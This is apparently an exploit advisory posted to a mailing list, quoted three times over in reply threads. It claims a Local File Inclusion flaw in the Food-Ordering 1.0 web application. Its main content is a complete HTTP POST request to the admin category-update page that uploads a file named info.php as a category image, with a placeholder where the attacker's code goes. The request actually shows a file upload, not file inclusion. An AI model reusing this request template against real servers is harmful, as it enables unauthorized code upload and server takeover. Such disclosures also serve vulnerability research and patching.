# Title: Food-Ordering 1.0  -  LFI
# Author: nu11secur1ty
# Date: 9/23/2026
# Vendor: https://kato-james.42web.io/?i=2
# Software:
https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/2026/Food-Ordering-1.0-kato-james-kalemba
# Reference: https://portswigger.net/web-security/file-upload

## Description:
A Local File Inclusion (LFI) vulnerability involving parameter values like
id=30 often happens when user input is passed directly to file-handling or
database-backed file retrieval functions without proper sanitization. When
an authenticated user can manipulate this parameter, it can lead to
directory traversal, unauthorized access to sensitive files, or full server
compromise.

STATUS: HIGH


[+]Payload:
```
POST
/web/admin/update_category.php?id=30&image_name=Category_1790143101.jpg
HTTP/1.1
Host: localhost
Content-Length: 751
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="151", "Not=A?Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundarywUgBK3hPWQD0rRB1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Origin: http://localhost
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer:
http://localhost/web/admin/update_category.php?id=30&image_name=Category_1790143101.jpg
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=v8ietn62kr8ovses41m9ckpvg9
Connection: keep-alive

------WebKitFormBoundarywUgBK3hPWQD0rRB1
Content-Disposition: form-data; name="title"

ice cream
------WebKitFormBoundarywUgBK3hPWQD0rRB1
Content-Disposition: form-data; name="update_image"; filename="info.php"
Content-Type: application/octet-stream

#### Your EXPLOIT here...


------WebKitFormBoundarywUgBK3hPWQD0rRB1
Content-Disposition: form-data; name="featured"

Yes
------WebKitFormBoundarywUgBK3hPWQD0rRB1
Content-Disposition: form-data; name="active"

Yes
------WebKitFormBoundarywUgBK3hPWQD0rRB1
Content-Disposition: form-data; name="submit"

update Category
------WebKitFormBoundarywUgBK3hPWQD0rRB1
Content-Disposition: form-data; name="current_image"

Category_1790143101.jpg
------WebKitFormBoundarywUgBK3hPWQD0rRB1--


```

# Reproduce:
[href](
https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/2026/Food-Ordering-1.0-kato-james-kalemba
)

# Demo:
[href](https://odysee.com/@nu11secur1ty:b/Food-Ordering-1.0-LFI)

# Time spent:
00:35:00


--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
home page: https://www.asc3t1c-nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <https://www.asc3t1c-nu11secur1ty.com/>

On Wed, Sep 23, 2026 at 9:46 AM nu11 secur1ty <[email protected]>
wrote:

> # Title: Food-Ordering-1.0 by Kato James Kalimba | LFI
> # Author: nu11secur1ty
> # Date: 9/23/2026
> # Vendor: https://kato-james.42web.io/?i=2
> # Software:
> # Reference: https://portswigger.net/web-security/file-upload
>
> ## Description:
> A Local File Inclusion (LFI) vulnerability involving parameter values like
> id=30 often happens when user input is passed directly to file-handling or
> database-backed file retrieval functions without proper sanitization. When
> an authenticated user can manipulate this parameter, it can lead to
> directory traversal, unauthorized access to sensitive files, or full server
> compromise.
>
> STATUS: HIGH
>
>
> [+]Payload:
> ```
> POST
> /web/admin/update_category.php?id=30&image_name=Category_1790143101.jpg
> HTTP/1.1
> Host: localhost
> Content-Length: 751
> Cache-Control: max-age=0
> sec-ch-ua: "Chromium";v="151", "Not=A?Brand";v="99"
> sec-ch-ua-mobile: ?0
> sec-ch-ua-platform: "Windows"
> Accept-Language: en-US,en;q=0.9
> Upgrade-Insecure-Requests: 1
> Content-Type: multipart/form-data;
> boundary=----WebKitFormBoundarywUgBK3hPWQD0rRB1
> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
> (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
> Origin: http://localhost
> Accept:
> text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
> Sec-Fetch-Site: same-origin
> Sec-Fetch-Mode: navigate
> Sec-Fetch-User: ?1
> Sec-Fetch-Dest: document
> Referer:
> http://localhost/web/admin/update_category.php?id=30&image_name=Category_1790143101.jpg
> Accept-Encoding: gzip, deflate, br
> Cookie: PHPSESSID=v8ietn62kr8ovses41m9ckpvg9
> Connection: keep-alive
>
> ------WebKitFormBoundarywUgBK3hPWQD0rRB1
> Content-Disposition: form-data; name="title"
>
> ice cream
> ------WebKitFormBoundarywUgBK3hPWQD0rRB1
> Content-Disposition: form-data; name="update_image"; filename="info.php"
> Content-Type: application/octet-stream
>
> #### Your EXPLOIT here...
>
>
> ------WebKitFormBoundarywUgBK3hPWQD0rRB1
> Content-Disposition: form-data; name="featured"
>
> Yes
> ------WebKitFormBoundarywUgBK3hPWQD0rRB1
> Content-Disposition: form-data; name="active"
>
> Yes
> ------WebKitFormBoundarywUgBK3hPWQD0rRB1
> Content-Disposition: form-data; name="submit"
>
> update Category
> ------WebKitFormBoundarywUgBK3hPWQD0rRB1
> Content-Disposition: form-data; name="current_image"
>
> Category_1790143101.jpg
> ------WebKitFormBoundarywUgBK3hPWQD0rRB1--
>
>
> ```
>
> # Reproduce:
> [href](
> https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/2026/Food-Ordering-1.0-kato-james-kalemba
> )
>
> # Demo:
> [href](https://odysee.com/@nu11secur1ty:b/Food-Ordering-1.0-LFI)
>
> # Time spent:
> 00:35:00
>
>
> --
> System Administrator - Infrastructure Engineer
> Penetration Testing Engineer
> Exploit developer at https://packetstormsecurity.com/
> https://cve.mitre.org/index.html
> https://cxsecurity.com/ and https://www.exploit-db.com/
> home page: https://www.asc3t1c-nu11secur1ty.com/
> hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
> nu11secur1ty <https://www.asc3t1c-nu11secur1ty.com/>
>
> On Wed, Sep 23, 2026 at 9:44 AM nu11 secur1ty <
> [email protected]> wrote:
>
>> # Title: Food-Ordering-1.0 LFI
>> # Author: nu11secur1ty
>> # Date: 9/23/2026
>> # Vendor: https://kato-james.42web.io/?i=2
>> # Software:
>> # Reference: https://portswigger.net/web-security/file-upload
>>
>> ## Description:
>> A Local File Inclusion (LFI) vulnerability involving parameter values
>> like id=30 often happens when user input is passed directly to
>> file-handling or database-backed file retrieval functions without proper
>> sanitization. When an authenticated user can manipulate this parameter, it
>> can lead to directory traversal, unauthorized access to sensitive files, or
>> full server compromise.
>>
>> STATUS: HIGH
>>
>>
>> [+]Payload:
>> ```
>> POST
>> /web/admin/update_category.php?id=30&image_name=Category_1790143101.jpg
>> HTTP/1.1
>> Host: localhost
>> Content-Length: 751
>> Cache-Control: max-age=0
>> sec-ch-ua: "Chromium";v="151", "Not=A?Brand";v="99"
>> sec-ch-ua-mobile: ?0
>> sec-ch-ua-platform: "Windows"
>> Accept-Language: en-US,en;q=0.9
>> Upgrade-Insecure-Requests: 1
>> Content-Type: multipart/form-data;
>> boundary=----WebKitFormBoundarywUgBK3hPWQD0rRB1
>> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
>> (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
>> Origin: http://localhost
>> Accept:
>> text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
>> Sec-Fetch-Site: same-origin
>> Sec-Fetch-Mode: navigate
>> Sec-Fetch-User: ?1
>> Sec-Fetch-Dest: document
>> Referer:
>> http://localhost/web/admin/update_category.php?id=30&image_name=Category_1790143101.jpg
>> Accept-Encoding: gzip, deflate, br
>> Cookie: PHPSESSID=v8ietn62kr8ovses41m9ckpvg9
>> Connection: keep-alive
>>
>> ------WebKitFormBoundarywUgBK3hPWQD0rRB1
>> Content-Disposition: form-data; name="title"
>>
>> ice cream
>> ------WebKitFormBoundarywUgBK3hPWQD0rRB1
>> Content-Disposition: form-data; name="update_image"; filename="info.php"
>> Content-Type: application/octet-stream
>>
>> #### Your EXPLOIT here...
>>
>>
>> ------WebKitFormBoundarywUgBK3hPWQD0rRB1
>> Content-Disposition: form-data; name="featured"
>>
>> Yes
>> ------WebKitFormBoundarywUgBK3hPWQD0rRB1
>> Content-Disposition: form-data; name="active"
>>
>> Yes
>> ------WebKitFormBoundarywUgBK3hPWQD0rRB1
>> Content-Disposition: form-data; name="submit"
>>
>> update Category
>> ------WebKitFormBoundarywUgBK3hPWQD0rRB1
>> Content-Disposition: form-data; name="current_image"
>>
>> Category_1790143101.jpg
>> ------WebKitFormBoundarywUgBK3hPWQD0rRB1--
>>
>>
>> ```
>>
>> # Reproduce:
>> [href](
>> https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/2026/Food-Ordering-1.0-kato-james-kalemba
>> )
>>
>> # Demo:
>> [href](https://odysee.com/@nu11secur1ty:b/Food-Ordering-1.0-LFI)
>>
>> # Time spent:
>> 00:35:00
>>
>>
>> --
>> System Administrator - Infrastructure Engineer
>> Penetration Testing Engineer
>> Exploit developer at https://packetstormsecurity.com/
>> https://cve.mitre.org/index.html
>> https://cxsecurity.com/ and https://www.exploit-db.com/
>> home page: https://www.asc3t1c-nu11secur1ty.com/
>> hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
>> nu11secur1ty <https://www.asc3t1c-nu11secur1ty.com/>
>>
>> --
>>
>> System Administrator - Infrastructure Engineer
>> Penetration Testing Engineer
>> Exploit developer at https://packetstorm.news/
>> https://cve.mitre.org/index.html
>> https://cxsecurity.com/ and https://www.exploit-db.com/
>> 0day Exploit DataBase https://0day.today/
>> home page: https://www.asc3t1c-nu11secur1ty.com/
>> hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
>>                           nu11secur1ty <http://nu11secur1ty.com/>
>>
>
>
> --
>
> System Administrator - Infrastructure Engineer
> Penetration Testing Engineer
> Exploit developer at https://packetstorm.news/
> https://cve.mitre.org/index.html
> https://cxsecurity.com/ and https://www.exploit-db.com/
> 0day Exploit DataBase https://0day.today/
> home page: https://www.asc3t1c-nu11secur1ty.com/
> hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
>                           nu11secur1ty <http://nu11secur1ty.com/>
>


-- 

System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstorm.news/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.asc3t1c-nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>